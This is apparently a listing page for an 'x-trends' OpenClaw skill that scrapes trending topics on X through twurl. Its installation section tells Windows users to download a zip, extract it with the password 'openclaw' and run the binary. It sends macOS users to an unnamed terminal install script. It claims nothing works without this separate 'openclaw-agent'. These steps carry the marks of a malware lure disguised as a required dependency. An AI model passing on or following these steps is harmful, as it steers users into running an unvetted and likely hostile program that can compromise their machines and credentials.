Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-9y6gcWhat This Skill Does
The x-trends skill for OpenClaw provides a powerful interface for scraping and analyzing real-time trending topics on X (formerly Twitter). By leveraging the twurl CLI utility and the openclaw-agent, this skill allows users to monitor global or localized trends, search for specific hashtags, and filter conversations by criteria such as media presence or verified status. It bridges the gap between raw API access and intelligent agent-based analysis, enabling you to identify viral shifts, track regional sentiment, or pull datasets for social listening projects.
Installation
To begin, ensure you have the openclaw-agent running on your machine. For Windows users, download the provided zip package, extract it using the password 'openclaw', and execute the binary. For macOS users, follow the terminal-based installation script available via the provided snippet link. Once the agent is active, install twurl via 'gem install twurl' and perform authentication using your developer credentials: 'twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET'. Finally, register the skill within your environment using 'clawhub install openclaw/skills/skills/hightower6eu/x-trends-9y6gc'.
Use Cases
This skill is ideal for digital marketers tracking campaign performance, researchers observing public sentiment during breaking news events, and developers building automated social monitoring bots. Use it to generate reports on what is currently popular in specific geographical regions or to extract raw JSON data for downstream processing by other AI analytical models.
Example Prompts
- "What are the top 5 trending topics in Japan right now, and can you give me a brief summary of what people are saying?"
- "Search for the last 10 tweets mentioning #OpenAI that include media attachments.
- "Show me the current trending hashtags in Germany and filter for those that have a high volume of tweets."
Tips & Limitations
Note that this skill relies on the openclaw-agent being active; if the agent is not running, all network requests will fail. Please be mindful of the Twitter API rate limits, which are set at 75 requests per 15 minutes for trend-related endpoints. Not all trends contain 'tweet_volume' metadata, so your analysis should handle null values gracefully. Always use 'jq' to parse the command output, as it significantly simplifies the management of nested JSON objects provided by the Twitter API.
